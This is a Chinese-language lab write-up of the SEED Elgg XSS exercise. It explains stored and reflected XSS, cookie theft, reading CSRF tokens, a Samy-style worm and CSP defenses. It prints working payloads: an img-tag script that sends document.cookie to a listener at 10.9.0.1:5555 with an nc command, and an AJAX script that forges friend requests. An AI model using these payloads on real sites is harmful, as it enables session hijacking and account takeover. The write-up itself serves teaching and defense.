
跨站脚本攻击 (XSS) 全解析:从原理基础到蠕虫实战
本文深入探讨 XSS 攻击的全生命周期,涵盖存储型与反射型差异、Cookie 窃取、绕过 CSRF 防护以及 Samy 蠕虫的实现原理,并详细介绍 CSP 等现代化防御机制。
[迁移说明] 本文最初发布于
blog.zzw4257.cn,现已迁移并在本站进行结构化整理与增强。
0. 实验背景:Samy Worm 的启示
2005年,Samy Kamkar 在 MySpace 上利用一段代码,在 20 小时内感染了 100 万用户,使其自动添加其为好友。本实验将在 Elgg(开源社交网络软件)靶场中复现这种跨站脚本攻击 (XSS)。
核心逻辑:
- Web 应用程序盲目信任用户输入。
- 攻击者将代码(JavaScript)伪装成数据存入服务器。
- 受害者的浏览器执行了这段恶意代码。
1. 战场地形:Web 架构的具体化
理解 XSS 攻击需明确各个组件的职责:
- 客户端 (Browser / Victim):
- 职责:解析并执行服务器返回的 HTML 和 JavaScript。
- 关键点:XSS 代码是在受害者的浏览器里运行的,而非服务器。
- Web 服务器 (Server / Container):
- IP/域名:
10.9.0.5/www.seed-server.com。 - 职责:处理业务逻辑,从数据库提取内容并拼凑成 HTML 发回。
- IP/域名:
- 数据库 (Database):
- 职责:存储用户数据,包括被注入的恶意代码。
2. 核心机制:Cookie 与 Session
HTTP 协议是无状态的,服务器通过 Cookie 来识别用户身份。当用户登录后,服务器会在 Header 中设置 Set-Cookie。浏览器此后每次请求都会自动携带该 Cookie。
XSS 的本质目标: 攻击者的 JS 代码通过 document.cookie 访问 Session ID,从而实现 Session 劫持。
3. 实验环境配置
3.1 DNS 映射
修改 /etc/hosts 以确保浏览器能解析伪造域名:
10.9.0.5 www.seed-server.com3.2 关键工具
- HTTP Header Live:用于监控 HTTP 请求,区分 GET 与 POST 及其参数。
- Netcat (nc):用于接收受害者发出的敏感信息。
4. 初次交锋:注入与窃取 (Task 1-3)
4.1 验证漏洞 (Stored XSS)
在 Elgg 的个人资料(Profile)中输入以下代码:
<script>alert('XSS');</script>注意:必须使用编辑器的 “Edit HTML” 模式,否则 < 会被转义为 <,导致脚本失效。
4.2 窃取 Cookie 与数据外泄
仅在受害者端弹窗没有意义,攻击者需要通过以下方式外传数据:
<script>
document.write('<img src=http://10.9.0.1:5555?c=' + escape(document.cookie) + ' >');
</script>- 原理:利用
<img>标签的src属性自动发起 GET 请求。 - 攻击者端:运行
nc -lknv 5555监听端口,即可捕获受害者的 Cookie。
5. 进阶攻击:从“偷窥”到“夺舍” (Task 4 & 5)
利用 AJAX (XMLHttpRequest),攻击者可以代表受害者发送指令。
5.1 绕过 CSRF 防御令牌
Elgg 使用 __elgg_ts 和 __elgg_token 防御 CSRF。但在 XSS 攻击中,脚本运行在受害者页面内部,可以直接通过 DOM 读取这些令牌:
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
var token = "&__elgg_token=" + elgg.security.token.__elgg_token;5.2 伪造操作 (以加好友为例)
<script type="text/javascript">
window.onload = function () {
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
var sendurl = "http://www.seed-server.com/action/friends/add?friend=47" + ts + token;
var Ajax = new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.send();
}
</script>6. 终极挑战:自我复制的蠕虫 (Task 6)
Samy 蠕虫的核心是 Quine(自产生程序)。恶意代码在修改他人资料时,必须将自己的源码副本填入 POST 参数中。
核心实现逻辑:
- 读取自身:通过
document.getElementById("worm").innerHTML获取代码体。 - 封装标签:手动拼接
<script>头部与尾部(尾部需写成"</" + "script>"防止解析错误)。 - 编码传输:必须使用
encodeURIComponent()对代码进行 URL 编码,否则代码中的&符号会截断 POST 参数。
7. 防御机制:内容安全策略 (CSP)
CSP (Content Security Policy) 是一种白名单机制,通过 HTTP Header 告诉浏览器哪些来源的资源是合法的。
- 指令示例:
script-src 'self' *.trusted.com只允许加载同源或受信任域名的脚本。 - Nonce 机制:为内嵌脚本发放一次性“通行证”,只有 nonce 匹配的脚本才会被执行。攻击者因无法预测随机生成的 nonce 而被拦截。
8. 深度对比:反射型 vs 存储型
| 特性 | 反射型 (Reflected) | 存储型 (Persistent) |
|---|---|---|
| 数据流向 | 浏览器 -> 服务器 -> 浏览器 (立即) | 存储在服务器数据库中 |
| 持久性 | 一次性,随请求结束 | 永久存在,直至被手动删除 |
| 触发条件 | 用户必须点击特定的钓鱼链接 | 用户只需正常浏览受感染页面 |
| 常见场景 | 搜索框、错误页面 | 留言板、个人资料、私信 |
9. 总结:CSRF vs XSS
- XSS:控制页面内容。攻击者把恶意脚本塞进网站,劫持前端执行环境。
- CSRF:劫持用户身份。攻击者不控制代码,只是利用浏览器自动携带 Cookie 的特性,诱导浏览器“替”用户发请求。
防御原则:
- 防 XSS:不信任输入,严格转义输出,使用 CSP。
- 防 CSRF:引入 CSRF Token,使用 SameSite Cookie 属性。